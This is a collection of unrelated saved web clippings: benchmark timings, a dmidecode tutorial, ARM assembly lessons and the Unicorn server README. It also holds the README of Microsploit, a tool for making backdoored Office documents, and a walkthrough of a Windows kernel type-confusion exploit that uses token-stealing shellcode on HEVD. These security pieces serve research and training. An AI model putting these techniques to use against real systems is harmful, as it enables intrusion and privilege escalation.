    ax.bar(x - 0**.** 3, timings, width=0.6, alpha=0**.** 4, bottom=1E-6)
    ax.grid()
    ax.set_xlim(-0.5, len(labels) - 0**.** 5)
    ax.set_ylim(1E-3, 1E2)
    ax.xaxis.set_major_formatter(plt.FuncFormatter(lambda i, loc: labels[int(i)]))
    ax.set_ylabel('time (s)')
    ax.set_title("Pairwise Distance Timings")
    
[/code]

Out\[14\]:

[code]

    <matplotlib.text.Text at 0x4174810>
    
[/code]

Note that this is log-scaled, so the vertical space between two grid lines
indicates a factor of 10 difference in computation time**\!**

When I compared Cython and Numba last August, I found that Cython was about
30% faster than Numba**.** Since then, Numba has had a few more releases, and
both the interface and the performance has improved**.** On top of being much
easier to use \(i.e. automatic type inference by `autojit`\) it's now about
50% faster, and is even a few percent faster than the Cython option**.**

And though I've seen similar things for months, I'm still incredibly impressed
by the results enabled by Numba: _a single function decorator results in a
1300x speedup of simple Python code**.**_ I'm becoming more and more convinced
that Numba is the future of fast scientific computing in Python**.**

_This post was written entirely as an IPython notebook**.**_ _The full
notebook can be downloaded_ _here_ , _or viewed statically on_ _nbviewer_

Posted by Jake Vanderplas Jun 15, 2013

****

# Display system hardware components, from DMI SMBIOS table, using dmidecode command | Step by Step Basic Linux Command Example
**Created:**| _5/9/2009 12:07:23 PM_  
---|---  
**Updated:**| _5/9/2009 12:07:37 PM_  
**Author:**| __  
**Tags:**| _hardware Linux_  
  

**T** o display the system hardware components that you currently use on your
Linux computer system, the dmidecode command can be use. The dmidecode dump
the computer DMI or SMBIOS table contents in a human readable format. This DMI
or SMBIOS contains a description of the system hardware components and other
useful information such as serial numbers and BIOS revision. The step by step
command example below show the use of dmidecode command to show the **list of
computer hardware system components** on Linux Fedora.

**The SMBIOS specification defines the following DMI types:**

**Type Information**  
---  
0 BIOS 1 System 2 Base Board 3 Chassis 4 Processor 5 Memory Controller 6
Memory Module 7 Cache 8 Port Connector 9 System Slots 10 On Board Devices 11
OEM Strings 12 System Configuration Options 13 BIOS Language 14 Group
Associations 15 System Event Log 16 Physical Memory Array 17 Memory Device 18
32-bit Memory Error 19 Memory Array Mapped Address 20 Memory Device Mapped
Address 21 Built-in Pointing Device 22 Portable Battery 23 System Reset 24
Hardware Security 25 System Power Controls 26 Voltage Probe 27 Cooling Device
28 Temperature Probe 29 Electrical Current Probe 30 Out-of-band Remote Access
31 Boot Integrity Services 32 System Boot 33 64-bit Memory Error 34 Management
Device 35 Management Device Component 36 Management Device Threshold Data 37
Memory Channel 38 IPMI Device 39 Power Supply  
**Dmidecode Keyword:**

bios 0, 13

system 1, 12, 15, 23, 32

baseboard 2, 10

chassis 3

processor 4

memory 5, 6, 16, 17

cache 7

connector 8

slot 9

### Get computer system hardware components from DMI/SMBIOS table

To get all DMI/SMBIOS information, execute the **dmidecode** command using
**-q** for quite mode

**\[root@fedora ~\]\# dmidecode -q**

If the list is t o long and hard to see, execute dmidecode command and pipe
the output of the dmidecode command to less command.

<img src='img/Temp2_2310.png' width='500' height='449' alt='Get DMI SMBIOS
infoemation' />

**\[root@fedora ~\]\# dmidecode -q | less**
BIOS Information

Vendor: Phoenix Technologies LTD

Version: 6.00

Release Date: 04/10/2007

Address: 0xE7A00

Runtime Size: 99840 bytes

ROM Size: 64 kB

Characteristics:

ISA is supported

PCI is supported

PC Card \(PCMCIA\) is supported

PNP is supported

APM is supported

BIOS is upgradeable

BIOS shadowing is allowed

ESCD support is available

USB legacy is supported

Smart battery is supported

BIOS boot specification is supported

System Information

Manufacturer: VMware, Inc.

Product Name: VMware Virtual Platform

Version: None

Serial Number: VMware-56 4d 83 60 d3 81 71 c9-86 3e 03 4f b9 c2 93 6f

UUID: 564D8360-D381-71C9-863E-034FB9C2936F

Wake-up Type: Power Switch

Base Board Information

Manufacturer: Intel Corporation

:

or redirect the output of **dmidecode command** to text file
\(**dmidecode.txt**\) as shown on example below.

<img src='img/Temp2_2314.png' width='414' height='87' alt='Display BIOS
information using dmidecode command' />

**\[root@fedora ~\]\# dmidecode -q > dmidecode.txt**

**\[root@fedora ~\]\#**

The example below show how to **view dmidecode command** output that we save
in the text file using vi command, but you can choose other the editor to view
the text file.

<img src='img/Temp2_2313.png' width='500' height='449' alt='View dmidecode
command output' />

**\[root@fedora ~\]\# vi dmidecode.txt**

BIOS Information

Vendor: Phoenix Technologies LTD

Version: 6.00

Release Date: 04/10/2007

Address: 0xE7A00

Runtime Size: 99840 bytes

ROM Size: 64 kB

Characteristics:

ISA is supported

PCI is supported

PC Card \(PCMCIA\) is supported

PNP is supported

APM is supported

BIOS is upgradeable

BIOS shadowing is allowed

ESCD support is available

USB legacy is supported

Smart battery is supported

BIOS boot specification is supported

System Information

Manufacturer: VMware, Inc.

Product Name: VMware Virtual Platform

Version: None

Serial Number: VMware-56 4d 83 60 d3 81 71 c9-86 3e 03 4f b9 c2 93 6f

UUID: 564D8360-D381-71C9-863E-034FB9C2936F

Wake-up Type: Power Switch

Base Board Information

Manufacturer: Intel Corporation

**"dmidecode.txt" 494L, 11459C**

### Get specific hardware information:

You can use these **dmidecode --type 0,13** or **dmidecode --type bios**
command to get the equivalent output on **BIOS information** , as shown on the
command example below.

<img src='img/Temp2_2311.png' width='462' height='495' alt='Get specific
hardware information using dmidecode' />

**\[root@fedora ~\]\# dmidecode --type 0,13**

\# dmidecode 2.9

SMBIOS 2.31 present.

Handle 0x0000, DMI type 0, 20 bytes

BIOS Information

Vendor: Phoenix Technologies LTD

Version: 6.00

Release Date: 04/10/2007

Address: 0xE7A00

Runtime Size: 99840 bytes

ROM Size: 64 kB

Characteristics:

ISA is supported

PCI is supported

PC Card \(PCMCIA\) is supported

PNP is supported

APM is supported

BIOS is upgradeable

BIOS shadowing is allowed

ESCD support is available

USB legacy is supported

Smart battery is supported

BIOS boot specification is supported

**\[root@fedora ~\]\#**

and the command below give the same output....

<img src='img/Temp2_2312.png' width='462' height='495' alt='Display BIOS
information using dmidecode command on Linux Fedora' />

**\[root@fedora ~\]\# dmidecode --type bios**

\# dmidecode 2.9

SMBIOS 2.31 present.

Handle 0x0000, DMI type 0, 20 bytes

BIOS Information

Vendor: Phoenix Technologies LTD

Version: 6.00

Release Date: 04/10/2007

Address: 0xE7A00

Runtime Size: 99840 bytes

ROM Size: 64 kB

Characteristics:

ISA is supported

PCI is supported

PC Card \(PCMCIA\) is supported

PNP is supported

APM is supported

BIOS is upgradeable

BIOS shadowing is allowed

ESCD support is available

USB legacy is supported

Smart battery is supported

BIOS boot specification is supported

**\[root@fedora ~\]\#**

To get help or more information on dmidecode command, execute the following
command:

**\[root@fedora ~\]\# man dmidcode**

NOTE: SMBIOS stands for System Management BIOS, while DMI stands for Desktop
Management Interface. Both standards are tightly related and developed by the
DMTF \(Desktop Management Task Force\).

# Tim Golden's Python Stuff: Watch a Directory for Changes

**Created:**| _10/27/2010 6:42:11 AM_  
---|---  
**Updated:**| _10/27/2010 6:42:26 AM_  
**Author:**| __  
**Tags:**| _windows python programming windows environment projects_  
  

# Screetsec/Microsploit

**Created:**| _5/28/2017 11:09:48 AM_  
---|---  
**Updated:**| _5/28/2017 11:09:48 AM_  
**Author:**| __  
**Tags:**| _routers_  
  

  

Fast and easy create backdoor office exploitation using module metasploit
packet , Microsoft Office , Open Office , Macro attack , Buffer Overflow

  * 6  commits 
  * 1  branch 
  * 0  releases 
  * 1  contributor 
  * MIT 

  1. Shell 100.0%

Shell

Upload files  Find file

New pull request

Latest commit  f571557  on 16 Mar <img src='img/17976841.png' width='20'
height='20' alt='@Screetsec' /> Screetsec committed on **GitHub** Update
README.md

|  output |  Create README.md |  2 months ago  
---|---|---|---  
|  LICENSE |  Initial commit |  2 months ago  
|  Microsploit |  Create Microsploit |  2 months ago  
|  README.md |  Update README.md |  2 months ago  
###  README.md

# Microsploit \(Office Exploitation Tool\)

a Simple tool and not very special but this tool fast and easy create backdoor
office exploitation using module metasploit packet. Like Microsoft Office in
windows or mac , Open Office in linux , Macro attack , Buffer Overflow in word
. Work in kali rolling , Parrot , Backbox .

# Screenshot

<img src='img/525133f0-0a45-11e7-93f7-37f8e489e31b.png' width='55%'
height='314' />

## Getting Started

  1. ` git clone https://github.com/Screetsec/microsploit.git `
  2. ` cd Microsploit/setup `
  3. ` chmod +x Microsploit && ./Microsploit `

## 📖 How it works

  * Extract The lalin-master to your home or another folder
  * chmod +x Microsploit
  * And run the tools \( ./Microsploit \)
  * Easy to Use just input your number

## <img src='img/octocat.png' width='20' height='20' alt=':octocat:' />
Credits

  * Thanks to allah and Screetsec \[ Edo -maland- \] 
  * Dracos Linux from Scratch Indonesia \( Penetration os \) Thanksyou , you can see in http://dracos-linux.org/
  * Offensive Security for the awesome OS \( http://www.offensive-security.com/ \)
  * http://www.kali.org/"
  * And another open sources tool in github
  * Uptodate new tools hacking visit http://www.kitploit.com

## Disclaimer

_**Note: modifications, changes, or alterations to this sourcecode is
acceptable, however,any public releases utilizing this code must be approved
by writen this tool \( Edo -m- \).**_

  

# Project Zero: Windows 10^H^H Symbolic Link Mitigations

**Created:**| _8/25/2015 4:11:47 PM_  
---|---  
**Updated:**| _8/25/2015 4:11:47 PM_  
**Author:**| __  
**Tags:**| __  
  

# Windows 10^H^H Symbolic Link Mitigations

Posted by James Forshaw, abusing symbolic links like it’s 1999.

For the past couple of years I’ve been researching Windows elevation of
privilege attacks. This might be escaping sandboxing or gaining system
privileges. One of the techniques I’ve used multiple times is abusing the
symbolic link facilities of the Windows operating system to redirect
privileged code to create files or registry keys to escape the restrictive
execution context. Symbolic links in themselves are not vulnerabilities,
instead they’re useful primitives for exploiting different classes of
vulnerabilities such as resource planting or time-of-check time-of-use.

This blog post contains details of a few changes Microsoft has made to Windows
10, and now back ported \(in MS15-090\) as far back as Windows Vista which
changes who can use certain types of symbolic links. There’s not been many
mitigations of this type which get back ported to so many older versions of
Windows. Therefore I feel this is a good example of a vendor developing
mitigations in response to increased attacks using certain techniques which
wouldn’t have traditionally been considered before for mitigations.

##  Quick Overview of Windows Symbolic Link Support

If you already know all about Windows Symbolic Link support you can always
skip this, or perhaps view my presentation I made at this year’s Infiltrate
conference about abusing them. If not continue on. There are three types of
symbolic links you can access from a low privileged user, Object Manager
Symbolic Links, Registry Key Symbolic Links and NTFS Mount Points. There’s
actually a fourth type, NTFS Symbolic Links, however you can only create this
type if you’re an administrator making them of little use for privilege
escalation. These symbolic link types have been added over the many years of
the NT development as shown below.

<img src='img/Temp2_6455.png' alt='Symbolic Link History (1).png' />

###  Object Manager Symbolic Links

From a user perspective Windows supports multiple drives, such as C:. But
that’s not really what’s seen under the hood. Behind the facade of the
explorer shell and the Win32 API is another filesystem like structure, the
object manager namespace. This is used to hold named resources such as devices
and events, but crucially it has support for symbolic links. One of the main
users of symbolic links is the aforementioned drive letters. If you look at
the namespace using a tool such as WinObj you can find the drive letter
symlinks and see them redirect to the real mounted device.

<img src='img/Temp2_6454.png' alt='Object Manager Symbolic Links.png' />

While these symbolic links are supposed to be used only for system purposes
it’s possible to create them as a low privileged user, as long as you have
access to the target area of the object manager namespace. While there’s a few
attacks which can be facilitated with them it’s easiest to exploit in file
attacks. An simple example is CVE-2015-0055 which was an information
disclosure issue in the IE EPM sandbox which abused symbolic links to bypass a
security check.

###  Registry Key Symbolic Links

The Windows Registry is used to store configuration information for the system
and isn’t something which your normal user of Windows needs to worry about.
While reasonably well documented it does have some features which the normal
Win32 APIs do not document, one of which is unsurprisingly symbolic links
between keys. This is used by the system to map in the current system
configuration at boot time \(the well known, CurrentControlSet\) but it’s not
really used outside of that.

<img src='img/Temp2_6451.png' alt='createregsymlink.PNG' />

The fact that a low privilege process can create these types of symbolic links
has been abused before \(see MS10-020\) which removed the ability to create
symbolic links between a untrusted registry hive such as the current user’s
hive and trusted system hive, but it didn’t do anything to block the sandbox
case where the symbolic link attacks the same user’s hive at different
privilege levels. An example of a vulnerability exploitable using this type of
link was CVE-2014-6322 which was an issue with the Windows Audio Server which
could be exploited from the IE EPM sandbox.

###  NTFS Mount Points

The final type of symbolic link allows a directory on the NTFS file system to
be linked to another directory either on the same volume or on a completely
different volume. It can’t be used to directly link to a single file \(at
least without some tricks\) but it’s still useful. For example if you can find
a privilege process which can be used to drop a file in a specified directory
the write can be re-directed to somewhere the attacker controls.

<img src='img/Temp2_6452.png' alt='mount_point.PNG' />

The only requirement on creating the mount point is a writable handle to a
directory on the filesystem which is usually easy enough to achieve. This is
probably the most used type of symbolic link for vulnerability exploitation,
at least being used against Chrome, IE, and Adobe Reader sandboxes before now.
An example is CVE-2014-0568 which was an issue I found in Adobe Reader which
allows you to create an arbitrary file which could be used to escape the
sandbox.

##  Technical Details of Mitigations

Now let’s go into some technical details of the mitigations, what they do and
what they don’t. The root of all the mitigations is a new exported kernel
function, RtlIsSandboxToken. This function determines if the current caller is
considered to be in a sandbox, which in this case means either running at a
integrity level below medium integrity or running within an AppContainer. The
check is made by capturing the current subject context and calling
SeAccessCheck with a Security Descriptor requiring medium integrity level.
This shouldn’t be easily bypassable.

At this point you might assume that all the mitigations will do is call the
method when creating a symbolic link and refuse to create them, but due to
application compatibility it isn’t that simple. It’s easy to find the
interactions by looking at the reference to the function in IDA or similar.
I’ll briefly describe how each one is applied and compromises being made.

<img src='img/Temp2_6453.png' alt='references.PNG' />

###  Registry Key Symbolic Link Mitigation \(CVE-2015-2429\)

The simplest mitigation implementation is for registry keys. Effectively a
sandboxed process is not allowed to ever create a registry key symbolic link.
This is implemented by calling RtlIsSandboxToken function when creating a new
key \(you need to specific a special flag when creating a key symbolic link\).
It’s also called when setting the SymbolicLinkValue value which contains the
link target. This second check is necessary to prevent modifying existing
symbolic links, although it would be unlikely to be something found on a real
system.

###  Object Manager Symbolic Link Mitigation \(CVE-2015-2428\)

If an application tries to create an object manager symbolic link from a
sandbox process it will still seem to work, however if you look at where the
check is called you’ll find it doing something interesting. When the symbolic
link is created the RtlIsSandboxToken function is called but the kernel
doesn’t immediately return an error. Instead it uses it to set a flag inside
the symbolic link kernel object which indicates to the object manager a
sandboxed process has created this link.

This flag is then used in the ObpParseSymbolicLink function which is called
when the object manager is resolving the target of a symbolic link. The
RtlIsSandboxToken is called again, if the current caller is not in a sandbox
but the creator was in a sandbox then the kernel will return an error and not
resolve the symbolic link, effective making the link useless for a sandboxed
to unsandboxed elevation.

The behaviour is likely for applications running in AppContainers which might
need to create symbolic links, but only other sandbox processes would need to
follow the links. It’s quite a pragmatic way of mitigating the issue without
breaking application compatibility. However it does bring an additional
performance cost, every time a symbolic link is resolved \(such as the C:
drive\) an access check must be performed, presumably this has been measured
to have a negligible impact.

###  NTFS Mount Point Mitigation \(CVE-2015-2430\)

The final mitigation is for NTFS mount points. In early technical previews of
Windows 10 \(I first spotted the change in 10130\) the check was in the NTFS
driver itself and explicitly blocked the creation of mount points from a
sandboxed process. Again for presumably application compatibility reasons this
restriction has been relaxed in the final release and the back ported
mitigations.

Instead of completely blocking creation the kernel function IopXxxControlFile
has been modified so whenever it sees the FSCTL\_SET\_REPARSE\_POINT file
system control code being passed to a driver with a mount point reparse tag it
tries to verify if the sandboxed caller has write access to the target
directory. If access is not granted, or the directory doesn’t exist then
setting the mount point fails. This ensures that in the the majority of
situations the sandboxed application couldn’t elevate privileges, as it could
already write to the directory already. There’s obviously a theoretical issue
in that the target could later be deleted and replaced by something important
for a higher privileged process but that’s not very likely to occur in a
practical, reliable exploit.

##  Conclusions

These targeted mitigations gives a clear indication that bug hunting and
disclosing the details of how to exploit certain types of vulnerabilities can
lead into mitigation development, even if they’re not traditional memory
corruption bugs. While I didn’t have a hand in the actual development of the
mitigation It’s likely my research was partially responsible for Microsoft
acting to develop them. It’s very interesting that 3 different approaches
ended up being taken, reflecting the potential application compatibility
issues which might arise.

Excluding any bypasses which might come to light these should make entire
classes of resource planting bugs unexploitable from a compromised sandboxed
process and would make things like time-of-check time-of-use harder to
exploit. Also it shows the level of effort that implementing mitigations
without breaking backwards compatibility requires. The fact that these only
target sandboxes and not system level escalation is particularly telling in
this regard.

# Windows Kernel Exploitation Part 2: Type Confusion

**Created:**| _5/10/2019 8:42:30 AM_  
---|---  
**Updated:**| _5/10/2019 8:42:30 AM_  
**Author:**| __  
**Tags:**| _kernel windows environment_  
  

  

April 3 2019

# Windows Kernel Exploitation Part 2: Type Confusion

Himanshu Khokhar Exploit Development, Kernel Exploitation, Shellcoding HEVD,
Shellcoding, Type Confusion, Windows Kernel Exploitation 0

## Introduction

Welcome to the second part of Windows Kernel Exploitation series. In the
second part, we are taking a detour from usual memory corruption
vulnerabilities \(which are a majority in case of the driver we are
exploiting\). I was quite confused whether to make it the first part because
how easy it is to exploit, but here we are, once we have tasted blood in
kernel land.

## What is Type Confusion?

Type confusion is a vulnerability where the application doesn’t verify the
type of an object \(function, data type, etc.\) and then processes it as it
expects but the passed object is some other object.

## Vulnerability

Now we have got it cleared, let us have a look at the vulnerable code
\(function TriggerTypeConfusion located in _TypeConfusion.c\)_.

The kernel first checks if the buffer resides in user land and then it
allocates memory for it in Non-Paged Pool. Once that has been done, the kernel
assigns ObjectID from user mode buffer to kernel mode buffer and does the same
for object type.

<img src='img/Image0-1.png' width='660' height='40' />

Assigning ObjectID and ObjectType

After done that, the kernel calls _TypeConfusionInitializer_ function on the
object \(kernel mode and not on the user mode\).

<img src='img/Image1-1.png' width='641' height='23' />

Calling TypeConfusionInitializer on Object

Let us have a look at the function:

<img src='img/Image2-768x272.png' width='734' height='260' />

Function TypeConfusionObjectInitializer

This function receives the object and calls a function pointer present inside
the object.

Let us have a look at the structure of KERNEL\_TYPE\_CONFUSION\_OBJECT \(which
is essentially a structure\), present in _TypeConfusion.h_ header file. This
header file contains definitions for user mode object as well as kernel mode
object, which makes exploitation of this exploit easier than that of stack
overflow.

<img src='img/Image3-1.png' width='734' height='294' />

Object Prototypes

First, let us see what the user mode object contains. The user mode object is
a structure that holds 2 members:

  1. Object ID
  2. Object Type

In case of kernel mode object, it is also a structure that holds 2 members:

  1. Object ID
  2. The second member is a UNION which can either hold:
    1. Object Type
    2. Callback \(A function pointer\)

Now, if you remember, a UNION can hold one member at a time, and here it can
either be an Object Type or a pointer to a function which will be called by
_TypeConfusionInitializer_ function.

The confusion occurs when the function _TriggerTypeConfusion_ function does
not validate whether the second member is _ObjectType_ or _Callback_.

## Exploiting the Confusion

To exploit this confusion, all we need to do is to pass a structure whose
second member is the address of the function we want to call from kernel land.

In case of our exploit, it is going to be the address of our Token Stealing
Shellcode and replace the token of our process so when a new process is
created, it will be created with that token.

But there is a problem, the shellcode provided with the HEVD
\(_TokenStealingPayloadWin7_ does not work and crashes the machine\).

### Modifying the shellcode

Since the function _TypeConfusionInitializer_ calls the _Callback_ pointer as
it is a function, we need to setup function prologue and epilogue, and change
the **ret 8** to **ret**.

**Note:** I compiled my shellcode functions as **naked** but if you don’t do
that, the provided shellcode can be used as it is. I just don’t like extra
code to be added to my shellcode by the compiler.

My code for the exploit is located here  

### Getting the Shell

Let us first verify whether I am a regular user or not.

<img src='img/Image4-1-768x245.png' width='734' height='234' />

Regular User

As it can be seen, I am just a regular user.

After we run our exploit, I become **nt authority/system**

<img src='img/Image5-1-768x242.png' width='734' height='231' />

SYSTEM Shell via exploitation of Type Confusion

That’s for this this part folks, see you in next part.

# Vikram and Neha: Android ARM Assembly: Stack and Functions \(Part 5\)

**Created:**| _9/18/2011 7:52:02 AM_  
---|---  
**Updated:**| _9/18/2011 7:52:02 AM_  
**Author:**| __  
**Tags:**| _asm android stackbof arm_  
  

### Android ARM Assembly: Stack and Functions \(Part 5\)

This is part five in a series on learning ARM assembly on Android. This part
covers the stack and function calling.  
  
Part 1: Motivation and device set up  
Part 2: A walk-through of a simple ARM assembly program  
Part 3: Registers, memory, and addressing modes  
Part 4: Gnu tools for assembly; GCC and GDB  
=> Part 5: Stack and Functions  
Part 6: Arithmetic and Logical Expressions  
Part 7: Conditional Execution  
Part 8: Assembly in Android code  
  
The articles follow in series, each article builds on the previous.  
  
Stack  
The stack is a linear data structure in memory that holds function-specific
information. When a function call is made, the stack is grown, and we place
local variables on the stack. When a function returns, we shrink the stack,
and the local variables are lost. The stack is a temporary structure. For
permanent non-constant variables, we need to allocate space on the heap. The
heap is an operating system \(OS\) concept that we'll cover later. It is an OS
concept because the processor is unaware of its presence. It is a programming
paradigm rather than a facility provided by the silicon on the chip. The
stack, on the other hand, is a processor-level concept. Life is a lot simpler
if the processor supports stack primitives.  
  
The stack grows up: to allocate space on the stack, you subtract multiples of
4 from the Stack Pointer. If you need 5 variables, you need to subtract 20
from the Stack Pointer. \(In many documents, the memory is laid out from
highest address to the lowest address. In such documents, the stack is said to
grow downwards. Unfortunately, this is a standard convention even though
humans think of stacks growing upward, so I explain everything with the stack
growing upward.\)  
  
If you write memory as a linear list of addresses, you can see why this makes
sense. Here is the memory laid out from top to bottom as a linear list going
from the lowest address to the highest address. All addresses and data are in
hexadecimal.  
Data| Location  
---|---  
ab| 0000  
cd| 0004  
de| 0008  
xx| ...  
f0| 0080  
f0| 0084  
f2| 0088  
f3| 008c  
f4| 0090 <\- SP  
xx| ...  
ff| ffff  
The Stack Pointer is pointing at location 90, which means that it contains the
value 0x90. The value at the top of the stack is f4, and this is the contents
of memory location 0x90.  
  
If we want to allocate two variables, we need to subtract 4 \* 2 = 8 from the
stack pointer. Say we store values 99 and AA at these locations, then the
stack looks like this:  
Data| Location  
---|---  
ab| 0000  
cd| 0004  
de| 0008  
xx| ...  
f0| 0080  
f0| 0084  
99| 0088 <\- SP  
AA| 008c  
f4| 0090  
xx| ...  
ff| ffff  
We ended up clobbering the existing values at those locations. To deallocate
space from the stack, you add to the SP. Every allocation on the stack should
be matched by a de-allocation. Otherwise you get out of sync, and read the
wrong value. Functions start out by storing all the local registers on the
stack. Then, on top of the stack, they allocate function-specific data.  
  
Data| Location  
---|---  
ab| 0000  
cd| 0004  
de| 0008  
xx| ...  
current function's stack| 0080 <\- SP  
SP| 0084  
LR| 0088  
PC| 008c  
previous function's stack| 0090  
xx| ...  
ff| ffff  
As a result, the new function has space to grow, and when it returns, the
previous variable values are moved from the stack to the registers. From the
perspective of the calling function, nothing has changed.  
  
Writing Functions  
Let's look at a program to see how variables are stored on the stack. I'll use
a long program, because we need a main function and another function that we
can change to our liking. The main\(\) function has a fixed signature, so we
need something different.  

[code]

     1         .text
     2         .align  2
     3         .global multiplyByTen
     4         .**type**   multiplyByTen, %**function**
     5 multiplyByTen:
     6         stmfd   sp!, {fp, ip, lr}
     7         mov     r3, r0, asl #3
     8         add     r0, r3, r0, asl #1
     9         ldmfd   sp!, {fp, ip, lr}
    10         bx      lr
    11         .size   multiplyByTen, .-multiplyByTen
    12 
    13         .section        .rodata
    14         .align  2
    15 .LC0:
    16         .ascii  "The number is %d\012\000"
    17 
    18         .text
    19         .align  2
    20         .global main
    21         .**type**   main, %**function**
    22 main:
    23         stmfd   sp!, {fp, lr}
    24 
    25         mov     r0, #32
    26         bl      multiplyByTen
    27 
    28         mov     r1, r0
    29         ldr     r0, .L3
    30         bl      printf
    31 
    32         mov     r0, #0
    33         ldmfd   sp!, {fp, lr}
    34         bx      lr
    35 
    36         .align  2
    37 .L3:
    38         .word   .LC0
    39         .size   main, .-main
[/code]

The program is long, but you should be able to understand most of it by now.  
This is the function we made:  

[code]

     5 multiplyByTen:
     6         stmfd   sp!, {fp, ip, lr}
     7         mov     r3, r0, asl #3
     8         add     r0, r3, r0, asl #1
     9         ldmfd   sp!, {fp, ip, lr}
    10         bx      lr
[/code]

This function returns the input multiplied by 10 through its creative uses of
shifts. Multiplying y by 10 is the same as \(y << 3 + y << 1\) = \(8y + 2y\).
The function is made to illustrate how function calling works. The first four
inputs to a function are kept in r0-r3. Here we have just one input, so it is
in r0. Line 7 moves 8\*r0 to r3, and line 8 adds 2\*r0 to this, and stores it
back in r0. The return value of the function is kept in r0. However, we also
have line 6 and line 9. What are they doing?  

[code]

     6         stmfd   sp!, {fp, ip, lr}
[/code]

This is a multi-register move operation. This moves the registers FP,IP,LR
into the area specified by the register SP. Since SP is the stack pointer,
this is the same as pushing registers FP,IP,LR to the top of the stack in a
single operation. Once this is done, the stack pointer is updated since it has
an exclamation mark. The order of specifying the registers doesn't matter. ARM
processors have a bitmask to specify which registers are written, and they are
always written in the same order, irrespective of the order you specify them
in. GCC might complain if you specify them in the wrong order, though. STM is
the base operation, there are variants depending on how you want the stack to
grow. STM is STore Multiple, and it comes in variants like IA: Increment
After, IB: Increment Before, DA: Decrement After, DB: Decrement Before. These
describe when the stack pointer is updated \(before writing to memory, or
after\), and whether it is incremented or decremented. These operations also
have handy mnemonics describing their use for operating with stacks. Linux
uses a Full Descending type of a stack. Full because the stack pointer points
to the last used location, and Descending because the stack grows downward,
when memory listed from highest address to lowest address. If you use the FD
versions of these operations, your code will interoperate well with other
libraries.  

[code]

     9         ldmfd   sp!, {fp, ip, lr}
[/code]

This is another multi-register move that undoes the action on line 6. This
reads back the values that were written earlier, popping them from the stack.
The combined effect of lines 6 and 9 is to store the important register values
on the stack and then restore them. This allows the function to modify them in
the main body. As with STMFD, the values are specified in a bitmask, so they
are always read in the same order.  
  
The function semantics require that r0-r3 are the only registers that can be
clobbered during a function call. If you need more than four registers in a
function, you need to include them in the STMFD and LDMFD lines to ensure they
are restored before exit. If you need a lot of local variables in a function,
you need to keep the rest in memory using load and store commands. You can
safely keep variables past the stack, in locations like SP-4, SP-8. When your
function returns, the stack pointer is restored and the next function can
reuse this storage. You can either grow the stack by subtracting multiples of
4 from it, or you can refer to offsets from the stack.  
  
If you need to pass more than four input values to a function, you need to
store them on the stack. The function needs to read the exact number of values
from the stack. Finally, if you need to return more than one value, you need
to modify values in the stack, or return them in r0-r3, and hope your code is
never called by anyone else's code.  
  
Exercises  
Try experimenting with the following:  

  1. Break the function at various points with GDB and examine the memory starting at the Stack Pointer. Does the stack pointer point to the last variable on the stack, or **past** the last variable on the stack?
  2. Try removing the STMFD and LDMFD in the multiplyByTen function. Does the function still work?
  3. Change multiplyByTen to return the value of SP. Print it using '%p' in the printf. Does it match what GDB says?
  4. Change the multiplyByTen to modify IP, LR and FP in the function and assert that they are indeed restored. Verify the modification and the restoring through GDB.
  5. Rewrite the function to use LDR and STR rather than multi-register moves. You will need to modify the stack pointer with each load and store.

The ARM Reference Manual has more information on mutiple loads and stores,
including information about the IA,IB,DA,DB, and FD versions, and what they
mean.

# File: README \[Unicorn: Rack HTTP server for fast clients and Unix\]

**Created:**| _5/18/2011 11:00:52 AM_  
---|---  
**Updated:**| _5/18/2011 11:09:07 AM_  
**Author:**| __  
**Tags:**| _ruby network-security prototyping_  
  

# Unicorn: Rack HTTP server for fast clients and Unix

Unicorn is an HTTP server for Rack applications designed to only serve fast
clients on low-latency, high-bandwidth connections and take advantage of
features in Unix/Unix-like kernels. Slow clients should only be served by
placing a reverse proxy capable of fully buffering both the the request and
response in between Unicorn and slow clients.

## Features

  * Designed for Rack, Unix, fast clients, and ease-of-debugging. We cut out everything that is better supported by the operating system, nginx or Rack.
  * Compatible with both Ruby 1.8 and 1.9. Rubinius support is in-progress.
  * Process management: Unicorn will reap and restart workers that die from broken apps. There is no need to manage multiple processes or ports yourself. Unicorn can spawn and manage any number of worker processes you choose to scale to your backend.
  * Load balancing is done entirely by the operating system kernel. Requests never pile up behind a busy worker process.
  * Does not care if your application is thread-safe or not, workers all run within their own isolated address space and only serve one client at a time for maximum robustness.
  * Supports all Rack applications, along with pre-Rack versions of Ruby on Rails via a Rack wrapper.
  * Builtin reopening of all log files in your application via USR1 signal. This allows logrotate to rotate files atomically and quickly via rename instead of the racy and slow copytruncate method. Unicorn also takes steps to ensure multi-line log entries from one request all stay within the same file.
  * nginx-style binary upgrades without losing connections. You can upgrade Unicorn, your entire application, libraries and even your Ruby interpreter without dropping clients.
  * before\_fork and after\_fork hooks in case your application has special needs when dealing with forked processes. These should not be needed when the “preload\_app” directive is false \(the default\).
  * Can be used with copy-on-write-friendly memory management to save memory \(by setting “preload\_app” to true\).
  * Able to listen on multiple interfaces including UNIX sockets, each worker process can also bind to a private port via the after\_fork hook for easy debugging.
  * Simple and easy Ruby DSL for configuration.
  * Decodes chunked transfers on-the-fly, thus allowing upload progress notification to be implemented as well as being able to tunnel arbitrary stream-based protocols over HTTP.

## License

Unicorn is copyright 2009 by all contributors \(see logs in git\). It is based
on Mongrel 1.1.5 and carries the same license.

Mongrel is copyright 2007 Zed A. Shaw and contributors. It is licensed under
the Ruby \(1.8\) license and the GPL2. See the included LICENSE file for
details.

Unicorn is 100% Free Software.

## Install

The library consists of a C extension so you’ll need a C compiler and Ruby
development libraries/headers.

You may download the tarball from the Mongrel project page on Rubyforge and
run setup.rb after unpacking it:

rubyforge.org/frs/?group\_id=1306

You may also install it via RubyGems on RubyGems.org:

[code]

    gem install unicorn
    
[/code]

You can get the latest source via git from the following locations \(these
versions may not be stable\):

[/code]

[code]

git://bogomips.org/unicorn.git

git://repo.or.cz/unicorn.git \(mirror\)

You may browse the code from the web and download the latest snapshot tarballs
here:

  * bogomips.org/unicorn.git \(cgit\)
  * repo.or.cz/w/unicorn.git \(gitweb\)

See the HACKING guide on how to contribute and build prerelease gems from git.

## Usage

### non-Rails Rack applications

In APP\_ROOT, run:

[code]

    unicorn
    
[/code]

### for Rails applications \(should work for all 1.2 or later versions\)

In RAILS\_ROOT, run:

[code]

    unicorn_rails
    
[/code]

Unicorn will bind to all interfaces on TCP port 8080 by default. You may use
the `--listen/-l` switch to bind to a different address:port or a UNIX socket.

### Configuration File\(s\)

Unicorn will look for the config.ru file used by rackup in APP\_ROOT.

For deployments, it can use a config file for Unicorn-specific options
specified by the `--config-file/-c` command-line switch. See
Unicorn::Configurator for the syntax of the Unicorn-specific options. The
